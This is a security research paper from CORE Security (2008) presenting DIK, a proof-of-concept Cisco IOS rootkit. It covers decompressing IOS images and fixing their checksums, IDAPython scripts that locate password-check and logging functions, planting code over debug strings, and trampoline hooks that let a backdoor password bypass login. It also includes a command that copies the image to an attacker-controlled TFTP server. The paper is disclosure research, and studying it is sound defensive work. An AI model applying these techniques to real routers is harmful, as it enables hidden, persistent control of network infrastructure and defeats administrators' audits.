CORE Security Technologies

Killing the myth of Cisco IOS rootkits: DIK (Da Ios rootKit)

Sebastian 'topo' Muñiz
May 2008

Abstract

Rootkits are very common in most operating systems, including popular Windows, Linux and Unix software, or any variant of those systems, however they are rarely found in embedded OSes.

This is due to the fact that most of the time embedded OSes have closed source code, with the internals of the software unknown to the public, making the reverse engineering process harder than usual.

In real life, it's very common that once an attacker takes control of a system, he or she will want to maintain access to it, and in an attempt to keep those actions undetected a rootkit will be installed.

The rootkit seizes control of the entire OS running on the compromised device by hiding files, processes and network connections, and allowing unauthorized users to act as system administrators -- while retaining its stealth capabilities and hiding the attacker's presence.

This paper demonstrates that a rootkit with those characteristics can easily be created and deployed for a closed source OS like Cisco IOS and run hidden from system administrators surviving most, if not all, of the security measures that can be deployed by experts in the field.

As a proof of this theory, several different techniques for infecting an IOS target will be described, including image binary patching.

From a practical point of view, one of these techniques will be implemented using a set of Python[1] scripts that provide the necessary methods to insert a generic rootkit implementation written in the C programming language-- called DIK (Da IOS Rootkit)- into the target IOS.

Introduction

The case of Cisco IOS (formerly known as the Internetwork Operating System) is unique because it is likely the most widely deployed routing OS running on the entire Internet and a fundamental component of mission critical networking operations in almost every organization.

Network devices are vital to those operations, and sensitive data flows through them every second, making them an extremely strategic location for attackers to place rootkits to gather information from a target.

System administrators need to be prepared for the emergence of these types of threats because the attacks could lead to serious exploits, including data breaches, before they ever realize that something is going on.

Security measures are typically undertaken to detect any abnormal operations on Cisco devices, but sometimes those measures may not be enough to detect advanced rootkits. These efforts may only unveil high-level rootkits such as a TCL script (only recent versions of IOS support TCL as a scripting language), or device reconfiguration executed via startup-config file to alter routes, packet handling, etc. These high-level rootkits are comparable to user-mode rootkits in general purpose operating systems such as Windows, Linux and OS X.

Only a small percentage of all system administrators perform periodic security audits on their organizations’ network infrastructure to detect for potential system compromise.

These audits may include (but are not limited to) verifying router logs, checking external logs that were set by the router when a user logged-in or changed the device’s configuration, or even by downloading the running IOS image to compare its checksum with a previously calculated value from the original IOS image file.

To conduct any of these actions, the system administrator implicitly relies on IOS internal functions and trusts the integrity of the running IOS image. If the device is compromised, the logging and syslog functions can be altered to cover the attacker's actions making the audit completely useless.

Knowing the enemy

Over the years, Cisco has created multiple hardware configurations (even using different CPU architectures -- most commonly PowerPC and MIPS) with varied software features sets (i.e., wireless, VoIP) to address the needs of its customers.

This has required that the company also make multiple and unique IOS versions available because each iteration demanded a separate build process to address the specific feature set running on the involved hardware. The combination of multiple hardware platforms and feature sets has resulted in the availability of several thousands of unique IOS images that could potentially run on a given set of devices.

Another important factor is that IOS was not designed to support additional modules or allow for plug-ins to be loaded.

With all this in mind, an initial conclusion might be that the development of a generic rootkit that targets IOS might be too difficult, if not impossible, to achieve.

However, this paper will demonstrate that this challenge can in fact be easily solved with a generic method that addresses the need to maintain code for multiple architectures and IOS feature sets, or for programming the rootkit core in different assembly languages.

IOS Internals

Cisco IOS has a monolithic architecture which runs as a single image with all processes having access to each other's memory.

No memory protection is implemented between processes, which means that a bug in an individual process can (and probably will) corrupt other processes and compromise system operations, potentially leading to a general failure.

Another characteristic of the Cisco IOS is that its scheduler function is not preemptive, as its counterparts on other modern OSes would be.

Cisco IOS uses *run-to-completion priority scheduling*, which is an improved FIFO (First-In, First-Out) scheduler, combined with thread priorities. This means that when a process is scheduled, it runs until it decides to relinkish the associated privilege and make a system call to allow other processes to run on the same priority level or higher.

These high-priority processes can jump to the head of the line and run quickly on the CPU. If multiple processes are waiting with the same priority, they are processed in the order in which they're received (just like basic FIFO).

Newer Cisco IOS images are usually made of a 32-bit ELF file running on a piece of hardware with a RISC processor (most commonly MIPS or PowerPC).

It's important to note that Cisco engineers modified some of the values from a standard ELF header so that any tool trying to obtain information from the file will find lots of invalid values, thus making initial diagnostic a little bit annoying.

Possible image modification techniques to obtain a valid ELF file will be discussed later and also how this is achieved by DIK.

IOS initial setup on memory

This image contains a self-decompressing (SFX) header that unpacks the fully functional IOS code which will be relocated in memory during run-time.

It is compressed because it contains many strings that occupy precious memory, resources that are needed more all the time with the continued arrival of newer IOS versions with additional feature sets.

Image decompression and relocation involves several steps which must be understood since the image downloaded from the device is not the actual image that runs when the device is powered on. As previously noted, this is merely a file that self-decompresses at run-time to execute the real IOS OS code. So, in order to place a backdoor the uncompressed image is needed.

For that reason, the compressed IOS image is the one that will be manipulated first to unpack it's content, then analyzed as to figure out how to insert (binary modify) the backdoor and finally repack the image to return in back to the device.

Repacking the image means that its checksums must be recalculated to reflect the binary manipulation that has been completed so that it can pass through initializing tests that would forbid the modified image from running on the device when a valid checksum is not found.

An IOS compressed image has the following structure:

```
+-------------------------------+
|         ELF header            |
+-------------------------------+
|          SFX code             |
+-------------------------------+  --+
|      Magic (0xFEEDFACE)       |    |
+-------------------------------+    |
|    Compressed image length    |    |
+-------------------------------+    | Magic
|   Compressed image checksum   |    | Structure
+-------------------------------+    |
|  Uncompressed image checksum  |    |
+-------------------------------+    |
|   Uncompressed image length   |    |
+-------------------------------+  --+
|                               |
|       Compressed image        |
|                               |
+-------------------------------+
```

The magic structure is used by the decompression routine so that it can obtain the values needed for the different checksums that are calculated using the specified lengths expressed in words (4 bytes). This means that if the specified length is 1024, then the value is: 1024 words x 4 bytes per each word = 4096 bytes

This structure is also a pointer to the beginning of the compressed code.

Once the device powers on, it will start the ROM Monitor which will perform several steps to load the IOS image and will use the magic structure elements during this process.

This process involves seven steps:

1. The ROM Monitor will load and position the SFX image at its link address in memory (either from a flash boot or a netboot) as the ELF header specifies. This is when the image file is copied from the file system to the device memory and the main routine is invoked.

2. Now the magic structure is located using the value of a global variable called 'edata' that is initialized by the ROM Monitor. At this point, this variable points directly to the structure containing the values needed to checksum and decompress the image.

3. The routine in the SFX image then checks to ensure that enough memory is available for decompression using the value of the field 'uncompressed image length' of the magic structure. If there is not enough memory available, then the code returns to the ROM Monitor with a software force reload signal after generating a message containing the text:
   “Error : memory requirements exceed available memory”.
   Also remember that the return to the monitor is not intended to occur unless a reload was initiated.

4. A checksum of the compressed image is calculated and the result is compared against the value stored in the file to ensure that no corruption has occurred. The checksum algorithm is very simple and works using the length field value (either the compressed or the uncompressed) from the magic structure.

   The code that calculates the checksum is similar to the following:

```
     int nwords = compressed_size / sizeof(ulong);

     unsigned long sum   = 0; // contains the checksum result
     unsigned long val   = 0; // temporary value

     unsigned char* bufp = (uchar*) ptrData; // pointer to
                                             // data to verify
     while (nwords--) {
          val = *bufp++;
          sum += val;
          if (sum < val) { /* There was a carry */
               sum++;
          }
     }
```

5. The compressed code is then moved to a higher memory location and the BSS section is initialized with zeros.

6. The decompression process takes place. The decompressed image is also checksummed to ensure there was no corruption and if it fails, then a message containing the text “Error: uncompressed image checksum is incorrect” is displayed. Also, the size of the decompressed image is compared against the value stored in the header to ensure that was completely successful.

7. Using an internal function called copy_and_launch(), the code relocation phase takes place moving the image to the specified

address in the ELF file header so the image entry point is called. It's worth mentioning that if this call returns, then “Error: copy_and_launch() returned” is displayed.

The beginning of the end

The rootkit will locate certain key (and usually low-level) functions of the OS that is being compromised to perform a binary patch and then hook them.

These functions are strategic code locations that will allow the attacker to intercept data of interest.

They could be grouped by their functionality:

- System Login
- Authentication and authorization
- File system access
- Networking operations
- Process handling
- Information display
- System Logs
- Debugging and core dumps

This paper will demonstrate how to identify only some of those functions because the identification procedure is the same for all of them.

In the case of a closed source OS like Cisco IOS, the first thing to do is identify the code that carries out the involved functions.

In order to perform an analysis, it is necessary to obtain the image running on the target device. This can be easily done by configuring an FTP or TFTP server on a machine controlled by an attacker, and then issuing a copy command on the Cisco device command line like the following:

```
Router# copy flash:c2691-i-mz.123-22.bin tftp://172.23.1.12/c2691-i-mz.123-22.bin
Verifying checksum for `c2691-i-mz.123-22.bin' (file # 1)...[OK]
Writing test

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

```
Upload to server done

Flash device copy took 00:00:08 [hh:mm:ss]

Router#
```

With the target IOS image downloaded it's now possible to decompress it and then proceed to the analysis phase, modify the binary and infect it.

Though binary patching is not the only way to do this, other possible infection methods will be explained later.

Chasing the prey

Once the file was obtained, a few steps must be followed to be able to analyze the IOS image and correctly detect the previously mentioned functions:

1. As previously stated, the image inside the device is compressed, so you must proceed to decompress it. The decompression process is the same as for any zipped file so it's also possible to use any free unzip utility to do it. Once the image is unpacked the script will checksum it to ensure that there was no corruption.

2. The decompressed image, called C2691-I-.BIN, must be analyzed using IDA Pro[3] to obtain crucial information for the rootkit's survival. This can take several minutes, even hours, because uncompressed IOS image files take up several megabytes (especially those versions with advanced features sets).

3. Once IDA finishes, the image won't be completely analyzed because several functions and multiple string references will be missing. To address this problem another script will be used. It utilizes IDAPython[4] to automate the function and string recognition process.

   The script performs its task in a two phase process:

   o First it'll look for known segments of CODE type and iterate over every instruction aligned to a 4 byte memory boundary. If the instruction is not actually part of a function, then the function is created and IDA takes care of detecting its end. The script then moves to the instruction after the end of the previously recognized function and tells IDA that this belongs to a function, and so on. This is done in IDA-Python with a script like this:

```
class EnhancedAnalysis:

    RESULT_OK   = 0
    RESULT_ERR  = 1
    WAS_BREAK   = 2

    def __init__(self):
        self.data_segs  = list()
        self.code_segs  = list()

    def createUnresolvedFunctions(self):
        """
        Analyze the code section to find every non-function byte and
        create a function at that position. This is highly reliable
        because CISCO compiler creates one function after another
        and every instruction is aligned to 4bytes because of the
        RISC arch.
        """

        print '[+] Processing CODE segments:'

        # Iterate through each code segment available
        for seg in self.code_segs:
            curr_address        = seg.startEA
            counter             = 0
            initial_funcs_qty   = get_func_qty()
            result              = self.RESULT_OK

            print '    Analyzing \'%s\'...' % SegName(seg.startEA),

            # Start iteration on every non-function byte until we
            # reach the end of the current working segment.
            while curr_address < seg.endEA:

                # If 'cancel' button was pressed, stop
                # processing functions.
                if wasBreak():
                    result = self.WAS_BREAK
                    print 'Cancelled'
                    return

                # Get the next address that is not a function
                # recognized by IDA.
                next_address=find_not_func(curr_address,SEARCH_DOWN)

                if next_address != BADADDR and \
                   next_address != 0xFFFFFFFF:
                    if MakeFunction( next_address, BADADDR ) != 0:
                        counter += 1
                    curr_address = next_address;

                # Check if we reached the end of the code segment
                if get_item_size( curr_address ) == 0:
                    break

                curr_address = get_item_end( curr_address )

                # Detect an invalid item or function at the
                # current position.
                if curr_address == BADADDR or \
                   curr_address == 0xFFFFFFFF:
                    result = self.RESULT_ERR
                    break

            print 'Done'

        print '[+] Created a total of %d new functions' % counter
        return result
```

- With functions correctly detected, every instruction aligned to a 4 byte memory address in DATA type segments is then iterated to recognize every string reference belonging to those functions.

  The script performs additional checks to ensure that the values at the memory address being analyzed are a string, instead of a reference (pointer) to it.

  For example, in a case where the DATA segment begins at 0x70610000, the script tries to determine if the value 0x71617373 is the string “pass” or a reference to the memory address where a string could be stored.

  Next is a part of the IDA-Python script that performs those tasks:

```
    def createUnresolvedStrings(self):
        """
        This function converts every aligned string into a IDA
        string so that it can be referenced from the disassembly.
        Because of RISC architecture every string is aligned to a 4
        byte boundary and the rest of -unaligned- the bytes until
        the next string are padded with zeros.
        """

        refresh_strlist(0, 0xffffffff)
        new_str_counter = 0 # new strings found counter

        print '[+] Processing DATA segments:'

        # Iterate through each code segment available
        for seg in self.data_segs:
            curr_address    = seg.startEA
            initial_str_qty = get_strlist_qty()

            print '    Analyzing \'%s\'...' % SegName(seg.startEA),

            # Remove current area format before we reanalize it.
            self.undefineArea(curr_address, seg.endEA)

            while curr_address == BADADDR or curr_address<seg.endEA:

                # If 'cancel' buttom was pressed, stop
                # processing strings.
                if wasBreak():
                    print 'Cancelled'
                    return

                # Check every 4 bytes (32 bits alignment)
                if curr_address % 4:
                    curr_address += 4 - (curr_address % 4)

                # Check if this is a value ready to be converted
                # either to string or dword.
                curr_byte = get_byte(curr_address)

                # If we find a printable or control character,
                # probably it's a string.
                if (curr_byte >= 0x20 and curr_byte < 0x7f) or \
                    curr_byte == 0xA or curr_byte == 0xD or \
                    curr_byte == 0x9:
```

```
                # Before converting it to a string or dword, we
                #  check segments address space and compare it
                #  with the 4 byte value at the current address
                #  being processed.
                # This way we can detect any offset to a
                #  function or to a string or data in
                #  the same segment or a simple string array.
                #
                # Example: It may happen that a string
                #  'abcd' (0x61626364) is detected as an
                #  offset if 0x61XXXXXX is a valid segment
                #  address, so this would be an error.
                # To avoid this I think we should not only check
                #  the first character but the other, too.
                dw_curr_address = get_long(curr_address)
                for code_seg in self.code_segs:
                    code_seg_end_ea = code_seg.endEA
                    transform_to    = ''

                    if dw_curr_address != 0xFFFFFFFF:
                        if ((dw_curr_address >= seg.startEA) \
                           and (dw_curr_address <= seg.endEA))\
                           or \
                           ((dw_curr_address>=code_seg.startEA)\
                           and \
                           (dw_curr_address <= code_seg.endEA)):

                            transform_to = 'dword'
                            break # Do not continue checking
                        else:
                            transform_to = 'string'
                    else:
                        transform_to = 'string'
            else:
                transform_to = 'dword'

            if transform_to == 'string':
                # We did not use MakeStr because of a bug in
                #  IDAPython and because we can't set the
                #  3rd parameter.
                if make_ascii_string(curr_address, 0, ASCSTR_C):
                    new_str_counter += 1
            else:
                MakeDword(curr_address)
            # Check if we reached the end of the segment
            if get_item_size( curr_address ) == 0:
                break

            curr_address = get_item_end( curr_address )

        print 'Done'

    # Report the number of new strings found
    print '[+] Converted %d strings' % new_str_counter
    return result
```

After a few minutes, all strings that are not recognized by IDA Pro will be created and several new strings will be found. The following is the script's output to the IDA message console:

```
Initiating enhanced CISCO IOS analysis...

[+] Found CODE segment '.text' at 0x80008000
[+] Found DATA segment '.rodata' at 0x80CEA424
[+] Found DATA segment '.data' at 0x81145AB0
[+] Found DATA segment '.sdata' at 0x812A3AF8
[+] Processing CODE segments:
    Analyzing '.text'... Done
[+] Created a total of 18204 new functions
[+] Processing DATA segments:
    Analyzing '.rodata'... Done
    Analyzing '.data'... Done
    Analyzing '.sdata'... Done
[+] Converted 176773 strings
[+] Enhanced analysis took  7.03 minutes
```

As you can see, once the script finishes, the image is ready to use and can be examined by the attacker to gain knowledge of Cisco IOS internals using all the new information acquired by IDA.

Successful IOS image analysis is very important because it contains plenty of debugging strings to provide verbose information to the system administrator about the OS state. Those debug strings will be used as a starting point to detect the key functions of the OS and because it's known for sure that these strings remain the same across multiple IOS versions.

Resistance is futile

Some of those interesting functions might not be located because of compiling issues or it might not be possible to retrieve any string references in some cases simply because they do not use any strings at all.

As stated before, the IOS contains plenty of strings, most of which offer debugging information, and others that merely output commonly seen messages to the user terminal. These messages can be located in functions close to those that we are looking for, and, knowing that they will not be moved by the compiler, it's possible to try to find these 'neighbor' functions and then identify the ones relevant to the rootkit functionality and hook them.

Function reordering is common on modern compilers, but this is not the case in the compiler used by Cisco so our approach is reliable in this scenario. IDA Python will be used to help us to locate the necessary strings and the code references attached to them. For this purpose, a class was created inside of the script that will perform the binary patch. This class will take a list of predefined strings and will perform the search operation returning to a list of cross-references (IDA's xrefs) to those strings.

The memory location referencing those strings is the memory location of the involved functions, so now it's just a matter of asking IDA about the beginning of the function to know where a jump to the rootkit code can be inserted.

The location of neighbor functions is not necessarily immediate to the one needed for the rootkit, there could be another function without any string references separating them, but this approach will still succeed.

To illustrate the functions recognition method a functions layout will be shown next as an example:

```
+-------------------------------+
|       neighbor_minus_2        | <- uses a unique string.
+-------------------------------+
|       neighbor_minus_1        |
+-------------------------------+
|                               |
|           chk_pass            | <- function of interest
|                               |      for the rootkit
+-------------------------------+
|       neighbor_plus_1         |
+-------------------------------+
|       neighbor_plus_2         |
+-------------------------------+
```

In the case that the function chk_pass() doesn't contain any string but the function neighbor_plus2() does, the following steps must be accomplished to locate the chk_pass() function:

1. Iterate through the list of strings on IDA to search for the strings referenced by function neighbor_plus2(). In IDA-Python this can be done by a simple function like this:

```
def funcString(string_to_find):
    """Function to find the specified string among all"""

    # Refresh the list of IDA strings
    refresh_strlist(0, 0xFFFFFFFF)

    # Store information about the specified string
    string_info = string_info_t()

    # Iterate through every string available
    for i in range(get_strlist_qty()):
        # Get the current string item to compare against the list
        get_strlist_item(i, string_info)


        if len(string_to_find) == string_info.length:
            # Found flag
            string_missmatch = False

            # Byte-to-byte comparison is quicker that entire string
            for j in range(string_info.length):
                if ord(string_to_find[j]) != Byte(string_info.ea+j):
                    string_missmatch = True
            # return string address
            if string_missmatch == False:
                return string_info.ea

    return 0 # string not found
```

2. Obtain a list of every data reference (IDA calls it 'dref' -- a reference to a data in the specified memory address) to the string used to identify the function chk_pass() with the following code:

```
def getDataRefs(string_address):
    # Store the list of data references to the specified string
    string_drefs = list()

    ref = get_first_dref_to(string_address)

    while ref != BADADDR:
        # Check if list is empty to avoid further validations
        if len(string_drefs):
            # Check if previous ref is the same.
            # Explanation is in the text bellow !!!
            if (string_drefs[-1] + 4) == ref:
                continue
        else:
            # Add the first reference to the list
            string_drefs.append(ref)

        string_drefs.append(ref)
        ref = get_next_dref_to(string_address, ref)

    return string_drefs
```

Keep in mind that in RISC architectures the memory reference values are loaded using two instructions because a 32-bit memory address cannot be referenced directly using only 4 byte instructions. This way two data references will be issued (one to refer to the upper 2 bytes, and another for the lower 2 bytes) that still belong to the same source code.

Due to the fact that the compiler puts those two instructions together, a check is issued to verify if the last appended referenced address, plus 4, is equal to the current reference. It will happen that IDA will detect LA (Load Address) macro instruction in MIPS. Do not confuse this with PowerPC LA (Load Address) instruction, which is a macro for the ADDI instruction.

An example of string pointer load on PowerPC disassembly follows:

```
.text:801C37D0 lis     %r6, aVerifyPass@h # "Verify pass"
.text:801C37D4 addi    %r6, %r6, aVerifyPass@l # "Verify pass"
```

The LIS (Load Immediate Shifted) loads the upper 2 bytes of the memory address of the string in register R6 while the instruction ADDI (Add Immediate) loads the lower 2 bytes to R6. Now the register contains the memory address of the string.

In an IOS image running on MIPS architecture, the following disassembly code is obtained:

```
.text:60201084 la      $a3, aVerifyPass  # "Verify pass"
```

The LA (Load Address) macro instruction is recognized by IDA but it is not a real instruction because it's a macro wrapping the following code:

```
.text:60201084 lui     $a3, 0x6118  # "Verify pass"@h
.text:60201088 addiu   $a3, 0x7334  # "Verify pass"@l
```

The first instruction is LUI (Load Upper Immediate) and loads the 2 upper bytes into register A3 and then the instruction ADDIU (Add Immediate Unsigned) adds the 2 lower bytes making register A3 a pointer to the memory address containing the string.

3. Now the memory address containing the code that references the string in function neighbor_minus_2() is known. It's also known that the function chk_pass() is two functions away from the function neighbor_minus_2() so it can be resolved easily using IDA-Python:

```
# xref_found contains the address of the code referencing
#  the string that was previously obtained.

fn_neighbor_minus_2 = get_func(xref_found)
fn_neighbor_minus_1 = get_next_func(fn_neighbor_minus_2.startEA)
fn_chk_pass          = get_next_func(fn_neighbor_minus_1.startEA)
```

```
first_inst_address   = fn_chk_pass.startEA
```

With those easy steps, the memory address of the first instruction pointing to the function prologue will be obtained.

The function prologue will be replaced by a hook to jump to our code but this will be explained in detail later.

Also note that the neighbor function could be located at any distance or from any direction (before or after) from the function chk_pass() so this approach will still work because the compiler puts one function after another as declared in the source code.

Home sweet home

The rootkit location must be decided before any image patching takes place (whether it is on the file or at run-time) because the patches applied at the beginning of every function will jump to the rootkit code and they must know its memory location.

Taking advantage of IOS memory management protection (or the lack of it) rootkit code will be written on the DATA segment by sacrificing a debug string which will almost probably never be used. Cisco IOS has plenty of these strings and most of them are common along several versions (if not all).

Just in case the system administrator decides to use some IOS feature that requires that string, a NULL character will be written at the first character to avoid string displaying problems and also to avoid user suspicion. To find a specific string, refer to the previous section were IDA-Python is used for this purpose.

There are several ways to insert the rootkit code in the file and they are all well known for any Linux virus writer because it's mainly a standard ELF infection procedure[5][6].

For example, knowing that every ELF section is aligned to a memory page size, one possible technique is to use the unused space between sections. This requires section length modifications on the ELF header but this is easy to achieve.

Another way to infect the image is adding new sections at the end of the file, but this requires extensive ELF header and sections header table modifications.

No detailed explanation will be given about those techniques, and only for the sake of clarity is it mentioned that overwriting an existing string resource in the file is the method chosen because it doesn't require any ELF header manipulations.

This method is the easiest in this case because IOS images contain very long strings that are rarely used and there is no need to modify the ELF header values because every section and segment remains the same. The downside of this method is that it requires a bigger footprint because of the sacrifice of debug strings which could compromise our rootkit presence on the system.

As mentioned at the beginning of the paper, the rootkit core will be implemented in plain C so we must compile the rootkit and extract from it the functions which perform the tasks needed -- without the whole image headers (we will probably setup GCC[7] to cross-compile[8] to PowerPC-ELF or to MIPS-ELF, so ELF file headers must be avoided).

After extracting the rootkit code from the resulting file, a chunk of bytes will be obtained and this is the code that will be written over the selected string, but this will be covered in detail later.

In some cases the DATA segment permissions (in which the string resides) need to be changed to RWX (Read-Write-eXecute) because those sections were previously used to allocate strings and no code execution capability was required from them.

In case the attacker preferred to create an additional section in the image file, ELF file header modification or any other operation on the file sections or segments, could be easily done with the PyElf[9] library specially created for this project.

It is also possible to change file section permissions to add EXEC using our PyElf as shown in the following example:

```
from pyelf import Elf
from sections import SHF_EXECINSTR

ios_filename = 'C2691-I-.BIN'
elf = Elf(ios_filename)

# Assuming that section number 3 is '.text'
data_sec = elf.sections[3]
print '[-] Old flags: %s' % data_sec.getFlagsString()
```

```
# Adding EXEC flag
print '[-] Adding SHF_EXECINSTR flag: %s' % SHF_EXECINSTR[1]
data_sec.setFlags(data_sec.getFlags() | SHF_EXECINSTR[0])
print '[-] New flags: %s' % data_sec.getFlagsString()

# Write down new file values to the same filename
# with '.new' extension added.
elf.writeFile(ios_filename + '.new')
```

Image manipulation must be done very carefully because it will be relocated after the decompression process and any invalid memory reference could lead to an exception resulting in a system crash.

In the preceding paragraphs, a number of methods to insert the rootkit code have been mentioned, but they all have something in common -- the rootkit code must be addressable from current IOS functions so the memory address selected to store the code is needed.

Rootkit address book: Functions to 'call' in it

Since the method selected to place our rootkit inside the IOS image is to overwrite existing strings, the first step is to read the rootkit that was previously compiled to extract the necessary code (this is achieved using a script mentioned bellow) for the current architecture whether it's MIPS or PowerPC, and write it at the selected string location.

Once this is done, the memory address that points to the end of the rootkit code must be stored for further operations on the image.

Next, every function offset inside the precompiled rootkit C code must be known, so when an IOS function is patched to call to its rootkit counterpart, the address of the rootkit function must be inserted inside the shellcode that will produce the jump.

For example, when redirecting execution flow from IOS image chk_pass() function call to the rootkit counterpart function, the offset of the rootkit function inside the entire compiled rootkit code is needed to jump to its location relative to the original IOS function and then return. If the exact location of the rootkit function is not known, then most likely an exception will eventually be generated.

A more in-depth explanation will be given later about this issue and why it's so important. For now, let just focus on obtaining the rootkit code and its function’s offsets and symbols.

To dump the code disassembly to a file on disk, GCC will be used to compile the rootkit code and then taking advantage of ELF manipulation tools included in the binutils package[10]. A text output will be generated using objdump utility[11] to disassembly the code and obtain a map of it's symbol locations.

Next is a sample output from this tool:

```
Disassembly of section .text:

01800490 <chk_pass-0x4>:
 1800490:       42 4f 46 5f     bcla-   18,4*cr3+so,465c ; "BOF_"

01800494 <chk_pass>:
 1800494:       94 21 ff d0     stwu    r1,-48(r1)
 1800498:       7c 08 02 a6     mflr    r0
 180049c:       93 e1 00 28     stw     r31,40(r1)
 18004a0:       90 01 00 34     stw     r0,52(r1)
....
 1800508:       7c 08 03 a6     mtlr    r0
 180050c:       83 eb ff f8     lwz     r31,-8(r11)
 1800510:       7d 61 5b 78     mr      r1,r11
 1800514:       4e 80 00 20     blr

01800518 <chk_pass_md5>:
 1800518:       94 21 ff e0     stwu    r1,-32(r1)
 180051c:       7c 08 02 a6     mflr    r0
 1800520:       93 e1 00 18     stw     r31,24(r1)
 1800524:       90 01 00 24     stw     r0,36(r1)
....
 1800620:       7c 08 03 a6     mtlr    r0
 1800624:       83 eb ff f8     lwz     r31,-8(r11)
 1800628:       7d 61 5b 78     mr      r1,r11
 180062c:       4e 80 00 20     blr
 1800630:       45 4f 46 5f     .long 0x454f465f   ; .ascii "EOF_"

01800634 <_start>:
 1800634:       94 21 ff e0     stwu    r1,-32(r1)
 1800638:       93 e1 00 18     stw     r31,24(r1)
...
```

Those symbols containing the function names and addresses will be parsed by a Python program specially created to return the appropriate information. In the addresses 0x1800490 and 0x1800630, two ASCII strings can be observed.

Those two strings are marker flags set in the plain C rootkit code and used by the scripts to extract the code in between -- which is the rootkit compiled code for the target architecture (whether it's MIPS or PowerPC) and of interest to us. This way the unnecessary code is left behind and only a small amount of code is kept to be inserted into the IOS image.

The resulting file containing disassembly code, symbols and opcodes for every instruction will be processed by a Python script giving a Python tuple object of the two elements as a result.

The first element (variable code_indexes) is a Python dictionary object indexed by function name and containing the function’s starting offset as the second element of the tuple. The second element (variable code_instructions) contains a Python list object with every instruction and the corresponding opcode values to write into the selected string of the IOS image. The relation between them is the following:

```
       code_indexes[]                          code_instructions()
+------------------+-------+        +-----------+------------------+
| Function Name    |Offset |        |  Opcode   |     Instruction  |
+------------------+-------+        +-----------+------------------+
| chk_pass         | 0     |<------>|0x9421ffd0 | stwu  r1,-48(r1) |
|                  |       |        |           |                  |
| chk_pass_md5     | 30    |<----+  |    ...(30 items between)...  |
|                  |       |     |  |           |                  |
| open_file        | 85    |<-+  +->|0x9421ffd5 | stwu  r1,-43(r1) |
|                  |       |  |     |           |                  |
+------------------+-------+  |     |    ...(55 items between)...  |
                              |     |           |                  |
                              +---->|0x7c030378 | mr    r3,r0      |
                                    |           |                  |
                                    |    ...(more items)...        |
                                    +-----------+------------------+
```

As you can see, the dictionary object called code_indexes uses the function’s name as its key and the corresponding value is the offset to the second object called code_instruction that contains the parsed output with instructions and its opcodes.

This works either on PowerPC and MIPS platforms because it uses the output of the Python script, which is almost the same for both architectures (the script takes care of small differences on the output).

Code voyeurism and fetishism

Once the key functions are found, rootkit insertion will be discussed using a binary patching technique on the IOS image. Once in control of the function, it will take different actions based on the parameters passed at run-time.

Let's take for example the password-checking function. In this case the rootkit must take control at the beginning of the function (known as prologue) to check if the rootkit password was entered. In that case the original password check function won't be executed, otherwise it will be as if nothing had happened.

That means that some instructions (architecture dependent) will be overwritten at the prologue of the function and stored for further usage.

Next is a common function prologue from an IOS running on PowerPC:

```
.text:803B6434    stwu    %sp, -0x18(%sp) ; create stack
.text:803B6438    mflr    %r0             ; move ret addr to %r0
.text:803B643C    stmw    %r30, 0x10(%sp) ; save previous values
.text:803B6440    stw     %r0, 0x1C(%sp)  ; store ret addr on stack
.text:803B6444    mr      %r31, %r3       ; move params to use
.text:803B6448    mr      %r30, %r4       ; ...
.text:803B644C    li      %r0, 0
.text:803B6450    stw     %r0, 0x18+var_10(%sp)
```

Due to the nature of the RISC architecture (despite the differences between MIPS and PowerPC) the return addresses must be stored by the function prologue because (as a difference to x86) it’s stored in a register called LR (Link Register) instead of in the stack. Saving the return address and registers whose values must prevail intact after the function returns is one of the tasks of the prologue.

In order to take control of the execution flow, the first instruction of the original function of IOS targeted for redirection (in the case of PowerPC, the first two instructions for IOS running on MIPS) must be overwritten with a jump to a location with specific shellcode which was previously selected by replacing a debug string used inside the IOS.

The instruction that overwrites the function prologue is called *trampoline* and will redirect the execution flow to a location known as *glue code*.

The *trampoline* is responsible for jumping immediately (and unconditionally) to attacker-specific code that will make some stack arrangements based on a previously known number of parameters to be passed to the rootkit function and ultimately call the appropriate function in the rootkit code.

The *glue code* is responsible for the following:

1. Saving the return address. Due to the fact that the code from the trampoline 'jumped' to the glue code, this is the address of the instruction following the one that called the original IOS function.

2. Storing the function parameters currently allocated in processor registers into the stack.

3. Allocating space on the stack for an extra function parameter needed by the rootkit C code.

4. Calling the rootkit plain C code.

5. Processing the return value of the rootkit C code to decide whether to continue the execution of the original IOS function or return directly to the caller.

6. If the execution of the original function must continue, then the original function call parameters stored in the stack are restored, the overwritten instructions from the original IOS function are executed, and finally a jump to the instruction next to the *trampoline* is performed.

7. If the execution of the original function must not be performed, the value at the memory allocated for the extra parameter is copied into the register that contains the return value of the original function followed by a jump to the return address stored in step number one.

This high level explanation is intended to briefly explain the functionality of the glue code and to express that it is a vital part of the bridge that communicates the original IOS functions (now subverted) with the counterpart rootkit functions written in plain C.

The beginning of the function, which was previously detected using strings references (from neighbors or itself) is located using IDA, had its prologue overwritten with the trampoline code.

This is a common technique known as hooking and consists of intercepting a function call by redirecting the code execution to the rootkit code for further processing and then returning to the original point.

Below is a high-level graphic explaining the execution path until it reaches the rootkit code and how the information is processed:

```
   IOS caller              chk_pass (p)               Glue code               chk_pass_DIK(p,i)
+-----------------+    +-----------------+     +----------------------+     +------------------+
|                 |    |                 |     |                      |     |                  |
| r = chk_pass(p) |-1->| trampoline      |--2->| add stack            | 3-->| if p == '1337':  |
|                 |    |                 |     | store parent RA      | |   |  i = true        |
| if r == true:   |<-  | rest of code    |<-+  | store params p       | | +-|  return RET      |
|  login()        | |  | ...             |  |  | create param i       | | | | else:            |
| else:           | +--| return legal_res|  5  | o = chk_pass_DIK(p,i)|-+ |-|  return CONT     |
|  deny_login()   | |  |                 |  |  | fix stack            |<--4 |                  |
| ...             | |  |                 |  |  | if o == CONT:        |     |                  |
+-----------------+ |  +-----------------+  |  |  exec orig instruct  |     +------------------+
                    |                       +--|  return params p     |
                    |                          |  cont chk_pass_IOS   |
                    |                          | else:                |
                    +-------<----6---<---------|  r = i               |
                                               |  jump to RA          |
                                               |                      |
                                               +----------------------+
```

